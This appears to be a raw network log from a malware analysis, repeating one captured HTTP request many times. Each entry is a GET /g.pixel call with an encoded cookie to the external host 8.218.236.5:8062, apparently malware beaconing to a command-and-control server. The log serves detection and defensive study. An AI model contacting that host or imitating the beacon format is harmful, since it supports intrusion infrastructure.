Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
